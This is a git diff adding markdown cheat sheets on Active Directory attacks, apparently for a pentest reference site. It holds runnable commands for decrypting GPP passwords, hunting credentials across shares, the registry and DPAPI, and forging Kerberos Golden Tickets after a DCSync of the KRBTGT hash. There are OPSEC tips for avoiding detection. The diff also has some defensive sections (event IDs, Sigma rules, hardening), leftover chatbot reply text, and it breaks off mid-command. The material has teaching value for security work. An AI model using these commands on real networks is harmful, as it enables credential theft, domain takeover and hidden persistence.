+# Output: MySecretPassword123 + +# ── Decrypt with pypykatz ───────────────────────────────────────────────────── +pypykatz gppass j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw + +# ── Manual decryption using Python ─────────────────────────────────────────── +python3 - <<'EOF' +import base64 +from Crypto.Cipher import AES +from Crypto.Util.Padding import unpad + +cpassword = "j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw" +# Pad base64 string +padding = "=" * (4 - len(cpassword) % 4) +encrypted = base64.b64decode(cpassword + padding) + +# The published Microsoft AES key +key = bytes.fromhex("4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b") +iv = b'\x00' * 16 + +cipher = AES.new(key, AES.MODE_CBC, iv) +decrypted = cipher.decrypt(encrypted) +# Decode UTF-16LE (Windows Unicode) +password = decrypted.decode('utf-16-le').rstrip('\x00') +print(f"Decrypted password: {password}") +EOF +``` + +*** + +### 🔵 Part 2 — Broad Credential Hunting in Shares + +#### 🔴 Snaffler — Deep Share Credential Hunter (Windows — Best Tool for This) + +```powershell +# ── Install / run Snaffler (finds credentials across ALL accessible shares) ─── +.\Snaffler.exe -s -d corp.local -o snaffler_output.log -v data + +# ── Flags explained: +# -s = start snaffling immediately +# -d = target domain +# -o = output file +# -v data = verbose, show file contents with credentials + +# ── Run against specific shares only ────────────────────────────────────────── +.\Snaffler.exe -s -d corp.local -n "\\FS01\IT\" -o output.log + +# ── Snaffler classifies finds by severity — look for RED and YELLOW hits: +# 🔴 RED = credentials / passwords (highest value) +# 🟡 YELLOW = interesting config files / sensitive data +# 🟢 GREEN = potentially interesting + +# ── Snaffler finds these automatically: +# web.config with <connectionStrings> passwords +# appsettings.json with database passwords +# .env files with API keys / DB credentials +# id_rsa private SSH keys +# .rdp files with saved passwords +# PowerShell scripts with hardcoded credentials +# KeePass .kdbx databases +# PuTTY saved sessions with passwords +# password.txt / creds.txt / passwords.xlsx +``` + +*** + +#### 🔴 NetExec — Share Enumeration + Spider (Linux) + +```bash +# ── Enumerate all accessible shares across subnet ──────────────────────────── +nxc smb 10.10.10.0/24 -u low_user -p 'Password1' --shares + +# ── Spider a specific share and search for credential-related files ─────────── +nxc smb 10.10.10.10 -u low_user -p 'Password1' -M spider_plus \ + --share IT --pattern "password,pass,cred,secret,key" + +# ── Download files matching pattern ─────────────────────────────────────────── +nxc smb 10.10.10.10 -u low_user -p 'Password1' -M spider_plus \ + --share "Users" --pattern ".xml,.config,.txt,.ps1,.bat,.vbs" +``` + +*** + +#### 🔴 Trufflehog — Git Repo Credential Scanning (Linux) + +```bash +# ── Clone internal git repo and scan for secrets ───────────────────────────── +git clone https://internal-git.corp.local/repo.git +trufflehog git file://./repo --json + +# ── Scan for specific patterns: AWS keys, API tokens, hardcoded passwords ───── +trufflehog git file://./repo --regex --patterns "AKIA[0-9A-Z]{16}" --patterns "password.*=.*" + +# ── Scan all git history (may find deleted credentials) ────────────────────── +trufflehog git file://./repo --scan-entire-history + +# ── Output format — look for "verified" secrets (real credentials, not false positives) +# "verified": true indicates a secret that passed entropy check +``` + +*** + +#### 🔴 Seatbelt — Windows Credential Enumeration (Windows) + +```powershell +# ── Run Seatbelt with credential modules ─────────────────────────────────── +.\Seatbelt.exe -group=credentials + +# ── Specific credential modules: +.\Seatbelt.exe LogonPasswords # LSA cached credentials + plaintext +.\Seatbelt.exe SavedRDPConnections # RDP .rdp files with saved creds +.\Seatbelt.exe MasterKeys # DPAPI master keys (needed for credential decryption) +.\Seatbelt.exe CredentialManager # Windows Credential Manager entries +.\Seatbelt.exe PuttySSHKeys # PuTTY SSH private keys + +# ── Extract all cached credentials +.\Seatbelt.exe -outputfile=seatbelt_creds.txt +``` + +*** + +#### 🔴 DPAPI Credential Extraction (Windows) + +```powershell +# ── Extract cached DPAPI credentials ─────────────────────────────────────── +Get-ChildItem -Path $env:LOCALAPPDATA\Microsoft\Credentials\* +Get-ChildItem -Path $env:APPDATA\Microsoft\Credentials\* + +# ── Decrypt DPAPI credentials (requires user session or admin) ────────────── +Add-Type -AssemblyName System.Security +$cred_blob = [System.IO.File]::ReadAllBytes("C:\Users\user\AppData\Local\Microsoft\Credentials\ABC123") +$dpapi = New-Object System.Security.Cryptography.DataProtectionScope("CurrentUser") +$protected = New-Object System.Security.Cryptography.ProtectedData +[System.Text.Encoding]::UTF8.GetString($protected.Unprotect($cred_blob, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser)) + +# ── Alternative — use Mimikatz for DPAPI master key extraction ────────────── +mimikatz.exe "dpapi::masterkey /in:C:\Users\user\AppData\Roaming\Microsoft\Protect\S-1-5-21-... /system:system.reg" +``` + +*** + +#### 🔴 Manual Share Credential Hunting (Windows — No Tools) + +```powershell +# ── Find password strings in NETLOGON scripts ───────────────────────────────── +findstr /S /I "password" \\corp.local\NETLOGON\*.bat +findstr /S /I "password" \\corp.local\NETLOGON\*.ps1 +findstr /S /I "password" \\corp.local\NETLOGON\*.vbs + +# ── Hunt across common IT share patterns ───────────────────────────────────── +findstr /S /I "password" \\FS01\IT\*.txt +findstr /S /I "password" \\FS01\IT\*.ps1 +findstr /S /I "password" \\FS01\IT\*.bat +findstr /S /I "password" \\FS01\Scripts\*.xml + +# ── Find web.config files with credentials ─────────────────────────────────── +Get-ChildItem -Recurse -Filter "web.config" \\FS01\ | + Select-String "password|connectionString" | Select-Object Path, Line + +# ── Hunt for KeePass databases ──────────────────────────────────────────────── +Get-ChildItem -Recurse -Filter "*.kdbx" \\FS01\ 2>$null + +# ── Hunt for private SSH keys ───────────────────────────────────────────────── +Get-ChildItem -Recurse -Filter "id_rsa" \\FS01\ 2>$null + +# ── Registry AutoLogon credentials (local machine) ─────────────────────────── +reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" +# Look for: DefaultUserName, DefaultPassword, DefaultDomainName +``` + +*** + +#### 🔴 Manual Share Credential Hunting (Linux — Mounted Share) + +```bash +# ── Mount a target share ────────────────────────────────────────────────────── +sudo mount -t cifs //10.10.10.20/IT /tmp/IT_share \ + -o username=low_user,password=Password1,domain=corp.local + +# ── Grep for password strings recursively ──────────────────────────────────── +grep -ria "password\|passwd\|pwd\|credentials\|secret" /tmp/IT_share/ \ + --include="*.xml" --include="*.config" --include="*.txt" \ + --include="*.ps1" --include="*.bat" --include="*.vbs" \ + --include="*.json" --include="*.env" \ + 2>/dev/null + +# ── Find connection strings (database passwords) ───────────────────────────── +grep -ria "connectionString\|Data Source\|Initial Catalog\|User ID\|Password=" \ + /tmp/IT_share/ 2>/dev/null + +# ── Find hardcoded NTLM hashes ──────────────────────────────────────────────── +grep -riaP "[0-9a-f]{32}:[0-9a-f]{32}" /tmp/IT_share/ 2>/dev/null + +# ── Find AWS/Azure/API keys ─────────────────────────────────────────────────── +grep -riaP "(AKIA[0-9A-Z]{16}|AIza[0-9A-Za-z\-_]{35}|secret_key|api_key)" \ + /tmp/IT_share/ 2>/dev/null +``` + +*** + +#### 🔴 Hunting Credentials in Registry (Windows) + +```powershell +# ── AutoLogon credentials ────────────────────────────────────────────────────── +Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" | + Select-Object DefaultUserName, DefaultPassword, DefaultDomainName + +# ── PuTTY saved sessions (may contain proxy passwords) ─────────────────────── +reg query HKCU\Software\SimonTatham\PuTTY\Sessions /s + +# ── Windows Credential Manager ──────────────────────────────────────────────── +cmdkey /list + +# ── VNC saved passwords ─────────────────────────────────────────────────────── +reg query HKLM\SOFTWARE\RealVNC\WinVNC4 /v password +reg query HKCU\Software\TightVNC\Server + +# ── SNMP community strings ──────────────────────────────────────────────────── +reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s + +# ── SCCM / ConfigMgr NAA credentials ───────────────────────────────────────── +Get-WmiObject -Namespace root\ccm\policy\Machine\ActualConfig ` + -Class CCM_NetworkAccessAccount 2>$null +``` + +*** + +#### 🔴 Hunting Credentials with PowerView (Domain-Wide) + +```powershell +Import-Module .\PowerView.ps1 + +# ── Find all accessible shares across the domain ───────────────────────────── +Find-DomainShare -Verbose + +# ── Find interesting files on accessible shares ─────────────────────────────── +Find-InterestingDomainShareFile -Include "*.config","*.xml","*.txt","*.bat","*.ps1" + +# ── Find GPP passwords specifically ────────────────────────────────────────── +Get-DomainGPO | Get-GPPPassword + +# ── Search for password files across domain ─────────────────────────────────── +Find-InterestingDomainShareFile -Include "*password*","*creds*","*credential*" +``` + +*** + +## 🧩 Troubleshooting + +| Error | Cause | Fix | +|---|---|---| +| **gpp-decrypt returns garbage / mojibake** | Incorrect base64 padding or corrupted cpassword field | Verify cpassword string is complete; check for XML encoding issues; try pypykatz instead | +| **SYSVOL mount fails: "Permission denied"** | User account doesn't have read access to SYSVOL share | Verify user is in domain (not local); try with different credentials; check SMB 445 firewall rule | +| **Snaffler "access denied" on specific share** | User account lacks read permissions on target share | Use `nxc smb --shares` to enumerate readable shares first; skip denied shares | +| **GPP password changed after XML creation** | Administrator rotated the password locally after GPP was deployed | Verify decrypted password against current accounts; may be outdated — try on other systems | +| **No cpassword fields found in SYSVOL** | Either no GPP policies with embedded credentials exist, or MS14-025 was applied + old XMLs deleted | Try broader credential hunting methods (Snaffler, PowerHuntShares); check if LAPS deployed instead | +| **Trufflehog git scan finds nothing** | No credentials committed to git history, or repo is too new | Check commit history depth; expand regex patterns for broader match | +| **Seatbelt credential extraction "access denied"** | Requires user token or admin to decrypt DPAPI credentials | Run as admin; try registry-based hunting instead (AutoLogon, PuTTY keys) | +| **Decrypted GPP password doesn't work on multiple machines** | Local administrator password was changed manually on some systems after GPP was applied | Test password on each system individually; keep list of which systems use which password | + +*** + +## 🎯 OPSEC Tips + +- **Read SYSVOL over LDAP first, not SMB** — LDAP-based GPO enumeration generates fewer file access events than direct SMB reads of SYSVOL +- **Use Snaffler over manual grep** in engagements — it's purpose-built, fast, and produces colour-coded output ranked by severity; manual methods trigger more SMB access events +- **Don't open files — read content remotely** — opening files in interactive applications (Excel, Notepad) generates additional process creation events; use `Get-Content` or `cat` instead +- **Start with SYSVOL/NETLOGON** before broader hunting — these are guaranteed readable by all domain users and frequently contain the highest-value credentials with minimum OPSEC risk +- **Check `Groups.xml` first** — this is where local admin passwords live and is the most common GPP vulnerability encountered in real environments +- **Verify GPP cpasswords are still valid** before using them — the password may have been changed manually even if the GPP XML was never cleaned up +- **SCCM Network Access Account (NAA) credentials** are frequently DA-level or broad network access — always check if SCCM is deployed +- **Time-to-execute estimate:** SYSVOL enumeration + decryption (10–15 min) + broader share hunting (20–45 min) = 30–60 minutes total +- **Tool versions:** NetExec preferred over CrackMapExec (actively maintained); Snaffler for Windows; Trufflehog v3+ for git scanning + +*** + +## 🛡️ Detection — Event IDs + +| Event ID | Source | What to Look For | +|---|---|---| +| **5145** | Security Log | Network share object accessed — bulk reads of `SYSVOL\*.xml` from a single IP | +| **5140** | Security Log | Network share accessed — unusual access to `SYSVOL` or `NETLOGON` from workstations | +| **4663** | Security Log | Attempt made to access object — file reads in SYSVOL (requires object auditing enabled) | +| **4688** | Security Log | Process creation — `findstr.exe` with `cpassword` argument | +| **Sysmon EID 1** | Sysmon | `Snaffler.exe`, `Get-GPPPassword.ps1` or `gpp-decrypt` execution | +| **Sysmon EID 3** | Sysmon | Network connection from unexpected process to SMB port 445 on DC | +| **LDAP query logs** | DC Diagnostic | Bulk GPO object enumeration via LDAP in short time window | + +**Primary detection signature:** Multiple SMB file access events (5145) against `\\DC\SYSVOL\...\Policies\**\*.xml` from a single non-admin workstation within a short window is the clearest indicator. In a normal environment, only domain controllers and management workstations read SYSVOL bulk XML — a user workstation accessing dozens of GPO XML files is anomalous. + +### Sigma Rules for Detection + +**Rule: Suspicious GPP XML Enumeration** +```yaml +title: Bulk SYSVOL GPP XML Access from Non-DC +detection: + selection: + EventID: 5145 + ShareName: SYSVOL + RelativeTargetName|contains: 'Policies' + RelativeTargetName|endswith: '.xml' + SourceIP: '!10.10.10.10' # Exclude DC/admin IPs + condition: selection | count(SourceIP) by SourceIP > 10 and timespan(5m) +``` + +**Rule: Suspicious gpp-decrypt or Get-GPPPassword Execution** +```yaml +title: GPP Password Decryption Tool Execution +detection: + selection_process: + Image|endswith: + - 'gpp-decrypt.exe' + - 'Get-GPPPassword.ps1' + - 'pypykatz.exe' + selection_network: + DestinationPort: 445 + Protocol: SMB + condition: selection_process and selection_network +``` + +### EDR-Specific Detections + +- **Crowdstrike Falcon:** Flag Snaffler.exe execution + bulk SMB 445 connections; alert on gpp-decrypt with network activity +- **Defender for Endpoint:** Monitor for Get-GPPPassword.ps1 script execution; alert on bulk file reads from SYSVOL +- **Sentinel One:** Correlate PowerShell commands containing "cpassword" with file access events +- **Carbon Black:** Watch for Python-based credential extraction (trufflehog, pypykatz) with network connections to SMB + +### Hardening Commands + +```powershell +# ── Find and DELETE old GPP XML files from SYSVOL ────────────────────────── +Get-ChildItem -Path "\\DC01\SYSVOL\" -Recurse -Include "Groups.xml","Services.xml",` + "ScheduledTasks.xml","DataSources.xml","Drives.xml","Printers.xml" | + Where-Object {$_.LastWriteTime -lt (Get-Date).AddYears(-1)} | + Remove-Item -Force -WhatIf # Remove -WhatIf after verification + +# ── Deploy LAPS (Local Administrator Password Solution) ────────────────────── +# Install LAPS management tools +Install-Module LAPS -Repository PSGallery -Force + +# Configure LAPS via Group Policy +# Computer Configuration → Policies → Administrative Templates → +# Microsoft LAPS → Enable LAPS + +# For Windows LAPS (2023+) — modern replacement for legacy LAPS +# Install via Windows Update / WSUS; configure via Group Policy or MDM + +# ── Enforce LDAP signing to prevent relay attacks (bonus mitigation) ──────── +dsregcmd /status +# Set via Group Policy: +# Computer Config → Windows Settings → Security Settings → Local Policies → +# Security Options: +# "Domain member: Require strong session key (Windows 2000 or later)" = Enabled +# "LDAP client signing requirements" = Require signing + +# ── Restrict SYSVOL read access (advanced — breaks some scenarios) ────────── +icacls "\\DC01\SYSVOL" /grant "Domain Computers":(OI)(CI)(F) /T +icacls "\\DC01\SYSVOL" /remove "Authenticated Users" /T +# WARNING: Only for hardened environments; may break GPO application for workstations + +# ── Audit SYSVOL access (enable file auditing) ────────────────────────────── +auditpol /set /subcategory:"File Share" /success:enable /failure:enable +# Enable object auditing on SYSVOL: +# Properties → Security → Advanced → Auditing → Add "Everyone" with "Read" success +``` + +*** + +## 🗺️ MITRE ATT&CK + +| Technique | ID | Description | +|---|---|---| +| **Credentials in Files** | T1552.001 | Plaintext credentials found in config files, scripts, shares | +| **Group Policy Preferences** | T1552.006 | Decryption of GPP cpassword fields using published AES key | +| **Unsecured Credentials** | T1552 | General category of credential exposure via unencrypted storage | +| **Credential Dumping** | T1003 | DPAPI credential extraction (overlapping technique) | +| **Account Discovery** | T1087 | Enumeration of user accounts from GPP + SYSVOL hunting | +| **Lateral Movement** | T1570 | Using discovered credentials for PtH, credential spray across domain | + +*** + +## 🔗 Attack Chain Context + +``` +[Credential Hunting / GPP Passwords] ──→ Plaintext Credentials Recovered + │ + ├──→ 🔑 GPP local admin password → PtH across all domain workstations + ├──→ 🔑 Service account creds in script → Kerberoasting target eliminated + ├──→ 🔑 Database SA password → direct database access / data exfil + ├──→ 🎫 Valid domain creds → BloodHound enumeration → full attack path + ├──→ 🔑 KeePass .kdbx found → crack master password → full vault access + ├──→ 🔑 Git repo secrets → API keys, deployment credentials → lateral access + └──→ 🔑 SCCM NAA creds → often domain-wide read access or DA equivalent + +``` + +**The compounding effect:** GPP credentials, when found, are almost always **local administrator passwords** deployed domain-wide via GPP — meaning the **same decrypted password works on every workstation in the domain** simultaneously. A single `cpassword` field in a Groups.xml file from 2016 can still compromise 500 machines in 2026 if it was never rotated. + +**Cross-references:** +- Attack #72: LAPS Deprecation & Takeover (modern LAPS v2 as GPP replacement) +- Attack #9: mitm6 (complementary technique — often combined if credentials insufficient) +- Kerberoasting (Attack #11+) for service account targeting discovered via credential hunting + +*** + +> ✅ **Attack #10 — Credential Hunting / GPP Passwords complete.** +> +> 🎉 **Category 1 — Credential Attacks is now finished.** That's all 10 attacks in the first category covered with full cheat sheets. +> +> Tell me to move on when you're ready to begin **Category 2 — Kerberos Abuse**, starting with **Attack #11 — Golden Ticket Attack**. + +Sources + Plaintext Password Extraction Attack - Netwrix https://netwrix.com/en/cybersecurity-glossary/cyber-security-attacks/plaintext-password-extraction-attack/ + Pentest-Hints/AD Hunting Passwords In SYSVOL.md at master https://github.com/ahmetgurel/Pentest-Hints/blob/master/AD%20Hunting%20Passwords%20In%20SYSVOL.md + Group Policy Preferences | The Hacker Recipes https://legacy.thehacker.recipes/a-d/movement/credentials/dumping/group-policies-preferences + GPP attacks | Internal Pentest https://xedex.gitbook.io/internalpentest/internal-pentest/active-directory/post-compromise-attacks/gpp-attacks + Unsecured Credentials: Group Policy Preferences - MITRE ATT&CK® https://attack.mitre.org/techniques/T1552/006/ + Hunting Passwords In SYSVOL - Network Intelligence https://www.networkintelligence.ai/blogs/hunting-passwords-in-sysvol/ + Password in Group Policy Preferences (GPP) Compromise https://rootguard.gitbook.io/cyberops/detection-engineering/threat-detection/ad-detections-and-mitigations/password-in-group-policy-preferences-gpp-compromise + Automated Implementation of Windows-related Security-Configuration + Guides https://arxiv.org/pdf/2209.08936.pdf + Search-based Ordered Password Generation of Autoregressive Neural + Networks http://arxiv.org/pdf/2403.09954.pdf + Universal Neural-Cracking-Machines: Self-Configurable Password Models + from Auxiliary Data http://arxiv.org/pdf/2301.07628.pdf + SE#PCFG: Semantically Enhanced PCFG for Password Analysis and Cracking https://arxiv.org/pdf/2306.06824.pdf + Detecting Forged Kerberos Tickets in an Active Directory Environment https://arxiv.org/ftp/arxiv/papers/2301/2301.00044.pdf + HADES: Detecting Active Directory Attacks via Whole Network Provenance + Analytics http://arxiv.org/pdf/2407.18858.pdf + Alice in Passphraseland: Assessing the Memorability of Familiar + Vocabularies for System-Assigned Passphrases https://arxiv.org/pdf/2112.03359.pdf + When AI Defeats Password Deception! A Deep Learning Framework to + Distinguish Passwords and Honeywords http://arxiv.org/pdf/2407.16964.pdf + Group Policy Preferences - Tactics, Techniques, and Procedures https://ttp.parzival.sh/pentesting/infrastructure/active-directory/group-policy-preferences + Group Policy Preferences (GPP) password retrieval | The guide https://reaper.gitbook.io/my-penetration-test-guide/guide/privilege-escalation/windows-privilege-escalation/group-policy-preferences-gpp-password-retrieval + Group Policy Preferences - Tidal Cyber https://app.tidalcyber.com/techniques/57dd1624-42e9-42a6-b1bb-d1d1df233138 + Attacking Active Directory - GPP Credentials https://www.youtube.com/watch?v=sTedpt47t2Y + Attacking GPP (Group Policy Preferences) Credentials | Active Directory Pentesting https://infosecwriteups.com/attacking-gpp-group-policy-preferences-credentials-active-directory-pentesting-16d9a65fa01a?gi=e5aac7720d23 + Group Policy Preferences | yuyudhn's notes https://htb.linuxsec.org/active-directory/credential-hunting/group-policy-preferences + Attacking GPP (Group Policy Preferences) Credentials - Reddit https://www.reddit.com/r/InfoSecWriteups/comments/xdvst4/attacking-gpp-group-policy-preferences/ + Group Policy Preferences (GPP) Passwords in SYSVOL - Haxoris Wiki https://haxoris.com/haxoris-wiki/active-directory/gpp-cpassword-in-sysvol diff --git a/src/content/sheets/active-directory/attack-11-golden-ticket-attack.md b/src/content/sheets/active-directory/attack-11-golden-ticket-attack.md @@ -0,0 +1,418 @@ +--- +title: "Attack #11 — Golden Ticket Attack" +description: "The Golden Ticket attack is the most powerful persistence technique in Active Directory. It exploits the fundamental trust model of the Kerberos protocol…" +category: active-directory +tags: ["active-directory", "kerberos", "credential-access", "privilege-escalation", "persistence"] +tools: ["NetExec", "Impacket", "Mimikatz", "Rubeus", "Evil-WinRM"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/AD-Attack/Category-Two/🟠 Attack #11 — Golden Ticket Attack.md" +--- +# 🟠 Attack #11 — Golden Ticket Attack + +*** + +## 📖 How It Works + +The Golden Ticket attack is **the most powerful persistence technique in Active Directory**. It exploits the fundamental trust model of the Kerberos protocol — every TGT in the entire domain is signed and encrypted using the **KRBTGT account's hash**, and the Domain Controller trusts any TGT bearing a valid KRBTGT signature without further verification. If an attacker obtains the KRBTGT hash, they can **forge entirely fake TGTs for any user, with any group memberships, any privileges, and any ticket lifetime** — completely offline, without ever contacting the DC again. + +The resulting forged ticket is cryptographically indistinguishable from a legitimate one because it is signed with the real KRBTGT key. The attacker can impersonate the Domain Administrator, add themselves to any group (including non-existent ones), set ticket lifetimes of 10 years, and authenticate to any service in the domain — including after the legitimate admin's password is changed, after the attacker's account is deleted, and even after the attacker's physical access is revoked. The **only way to invalidate a Golden Ticket** is to reset the KRBTGT password **twice** — once is insufficient because both the current and previous hash are accepted. + +### What You Need to Forge a Golden Ticket + +| Parameter | Where to Get It | Notes | +|---|---|---| +| **KRBTGT NT hash** | DCSync, NTDS.dit dump, LSASS on DC | The master key — the entire attack depends on this | +| **KRBTGT AES256 key** | Mimikatz `sekurlsa::ekeys` on DC | Preferred — stealthier than RC4 | +| **Domain SID** | `whoami /user`, PowerView, `Get-ADDomain` | e.g. `S-1-5-21-...` — everything before the last `-` | +| **Domain FQDN** | `$env:USERDNSDOMAIN`, `ipconfig /all` | e.g. `corp.local` | +| **Target username** | Any valid or forged username | Post-Nov 2021 patches require real username | + +### The Full Attack Flow + +``` +1. Compromise any path to Domain Admin (spraying → lateral movement → priv esc) +2. Extract KRBTGT hash via DCSync or NTDS.dit dump +3. Collect domain SID +4. Forge a Golden Ticket offline (no DC contact needed) +5. Inject into current session (kerberos::ptt / Rubeus ptt) +6. Access any domain resource as the forged user — permanently +7. Even if your account is deleted / password changed → ticket still works +8. Persist indefinitely until KRBTGT password is reset TWICE +``` + +*** + +## ⚙️ Prerequisites + +| Requirement | Detail | +|---|---| +| **Domain Admin or DC access** | Required to extract the KRBTGT hash — this is a post-DA persistence technique | +| **KRBTGT NT hash or AES key** | Obtained via DCSync, NTDS.dit dump, or Mimikatz on DC | +| **Domain SID** | Available from any domain-joined host with low-priv access | +| **Valid domain username** | Post-Nov 2021 Windows updates require the forged username to exist in AD | + +*** + +## 🛠️ Tools + +| Tool | Platform | Notes | +|---|---|---| +| **Mimikatz** | Windows | `kerberos::golden` — original Golden Ticket forge command | +| **Rubeus** | Windows | `golden` subcommand — cleaner, supports AES, `/ptt` injection | +| **Impacket — ticketer.py** | Linux | Linux-based Golden Ticket forging; outputs `.ccache` file | +| **Impacket — secretsdump.py** | Linux | Extract KRBTGT hash via DCSync before forging | +| **CrackMapExec / NetExec** | Linux | `--use-kcache` to authenticate with the forged ticket | +| **Evil-WinRM** | Linux | Accepts `KRB5CCNAME` for Golden Ticket-based shell | + +*** + +## 💻 Full Commands + +### 🔵 Step 0 — Extract KRBTGT Hash (DCSync Method — Most Common) + +```powershell +# ── Mimikatz DCSync — pull KRBTGT hash from any domain-joined machine ────────── +# (Requires DA or account with Replication rights) +privilege::debug +lsadump::dcsync /domain:corp.local /user:krbtgt + +# Output will contain: +# Hash NTLM: 1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d ← NT hash (RC4) +# aes256_hmac: b65fb27c8e0d7c5f48b16c10b4... ← AES256 key (preferred) +# aes128_hmac: a1b2c3d4e5f6a7b8c9d0e1f2... ← AES128 key + +# ── Also pull domain SID while you're at it ─────────────────────────────────── +lsadump::dcsync /domain:corp.local /user:Administrator +# Domain SID is embedded in the output: S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX +``` + +```bash +# ── Linux — DCSync via Impacket ──────────────────────────────────────────────── +secretsdump.py corp.local/Administrator:'Password1'@DC01.corp.local -just-dc-user krbtgt + +# Using NT hash (PtH) +secretsdump.py corp.local/Administrator@DC01.corp.local \ + -hashes :8846f7eaee8fb117ad06bdd830b7586c -just-dc-user krbtgt + +# Extract NTLM hash — it's the right side of: +# corp.local\krbtgt:502:aad3b435b51404eeaad3b435b51404ee:1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d::: +# ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ +# This is your KRBTGT NT hash +``` + +*** + +### 🔵 Step 0b — Get Domain SID + +```powershell +# Windows — multiple methods +whoami /user # SID of current user — remove last -RID +Get-ADDomain | Select-Object DomainSID +(Get-ADUser -Identity Administrator).SID # Remove last segment (-500) + +# PowerView +Get-DomainSID + +# Example SID: S-1-5-21-3878595448-1012506728-1948843120 +# Domain SID = S-1-5-21-3878595448-1012506728-1948843120 +# (just drop the trailing -RID, e.g. -500 for Administrator) +``` + +```bash +# Linux — via lookupsid.py +lookupsid.py corp.local/low_user:'Password1'@DC01.corp.local 0 +# Output: [*] Domain SID is: S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX +``` + +*** + +### 🔴 Mimikatz — Forge & Inject Golden Ticket (Windows) + +```powershell +# ── Standard Golden Ticket — impersonate Administrator ──────────────────────── +kerberos::golden \ + /user:Administrator \ + /domain:corp.local \ + /sid:S-1-5-21-3878595448-1012506728-1948843120 \ + /krbtgt:1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d \ + /ptt + +# ── Flags explained: +# /user = username to impersonate (must exist post-Nov 2021 patches) +# /domain = target domain FQDN +# /sid = domain SID (not user SID — no trailing RID) +# /krbtgt = KRBTGT NT hash (RC4) +# /ptt = inject directly into current session (pass-the-ticket) + +# ── Golden Ticket with AES256 (stealthiest — no RC4 downgrade in logs) ──────── +kerberos::golden \ + /user:Administrator \ + /domain:corp.local \ + /sid:S-1-5-21-3878595448-1012506728-1948843120 \ + /aes256:b65fb27c8e0d7c5f48b16c10b4c1d91a9b3c2d4e5f6a7b8c9d0e1f2a3b4c5d6 \ + /ptt + +# ── Save to .kirbi file (for later use / transfer to another machine) ───────── +kerberos::golden \ + /user:Administrator \ + /domain:corp.local \ + /sid:S-1-5-21-3878595448-1012506728-1948843120 \ + /krbtgt:1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d \ + /ticket:golden_admin.kirbi + +# Inject saved .kirbi later +kerberos::ptt golden_admin.kirbi + +# ── Forge ticket with extended lifetime (10 years) ─────────────────────────── +kerberos::golden \ + /user:Administrator \ + /domain:corp.local \ + /sid:S-1-5-21-3878595448-1012506728-1948843120 \ + /krbtgt:1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d \ + /startoffset:0 /endin:600 /renewmax:10080 \ + /ptt + +# ── Forge ticket for a fake/non-existent user (older DCs without Nov 2021 patch) +kerberos::golden \ + /user:hax0r_da \ + /domain:corp.local \ + /sid:S-1-5-21-3878595448-1012506728-1948843120 \ + /krbtgt:1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d \ + /groups:512,513,518,519,520 \ + /ptt +# /groups = RID list to embed (512=DA, 513=DU, 518=Schema, 519=EA, 520=GPO) + +# ── Verify injection ────────────────────────────────────────────────────────── +klist +# Should show ticket for Administrator@CORP.LOCAL with long lifetime + +# ── Use the Golden Ticket ───────────────────────────────────────────────────── +dir \\DC01.corp.local\C$ +psexec.exe \\DC01.corp.local cmd.exe +``` + +*** + +### 🔴 Rubeus — Forge Golden Ticket (Windows — Modern Approach) + +```powershell +# ── Golden Ticket with RC4 (NT hash) ───────────────────────────────────────── +.\Rubeus.exe golden \ + /user:Administrator \ + /domain:corp.local \ + /sid:S-1-5-21-3878595448-1012506728-1948843120 \ + /rc4:1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d \ + /ptt /nowrap + +# ── Golden Ticket with AES256 (preferred — blends with normal Kerberos traffic) ─ +.\Rubeus.exe golden \ + /user:Administrator \ + /domain:corp.local \ + /sid:S-1-5-21-3878595448-1012506728-1948843120 \ + /aes256:b65fb27c8e0d7c5f48b16c10b4c1d91a9b3c2d4e5f6a7b8c9d0e1f2a3b4c5d6 \ + /ptt /nowrap + +# ── Inject and save simultaneously ─────────────────────────────────────────── +.\Rubeus.exe golden \ + /user:Administrator \ + /domain:corp.local \ + /sid:S-1-5-21-3878595448-1012506728-1948843120 \ + /rc4:1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d \ + /ptt /outfile:golden_admin.kirbi /nowrap + +# ── Verify ──────────────────────────────────────────────────────────────────── +.\Rubeus.exe triage +klist +``` + +*** + +### 🔴 Impacket — ticketer.py (Linux — Forge Golden Ticket) + +```bash +# ── Forge Golden Ticket from Linux using NT hash ────────────────────────────── +ticketer.py -nthash 1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d \ + -domain-sid S-1-5-21-3878595448-1012506728-1948843120 \ + -domain corp.local \ + Administrator +# Output: Administrator.ccache + +# ── Forge using AES256 key (stealthier) ─────────────────────────────────────── +ticketer.py -aesKey b65fb27c8e0d7c5f48b16c10b4c1d91a9b3c2d4e5f6a7b8c9d0e1f2a3b4c5d6 \ + -domain-sid S-1-5-21-3878595448-1012506728-1948843120 \ + -domain corp.local \ + Administrator + +# ── Forge with specific extra groups (embed DA + EA group memberships) ──────── +ticketer.py -nthash 1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d \ + -domain-sid S-1-5-21-3878595448-1012506728-1948843120 \ + -domain corp.local \ + -extra-sid S-1-5-21-3878595448-1012506728-1948843120-519 \ + Administrator + +# ── Set and use the ticket ──────────────────────────────────────────────────── +export KRB5CCNAME=Administrator.ccache + +# Verify ticket +klist + +# Access DC as forged DA +psexec.py -k -no-pass corp.local/Administrator@DC01.corp.local +wmiexec.py -k -no-pass corp.local/Administrator@DC01.corp.local +secretsdump.py -k -no-pass corp.local/Administrator@DC01.corp.local + +# NetExec +nxc smb DC01.corp.local --use-kcache +nxc smb DC01.corp.local --use-kcache -x "whoami /all" + +# Evil-WinRM +evil-winrm -i 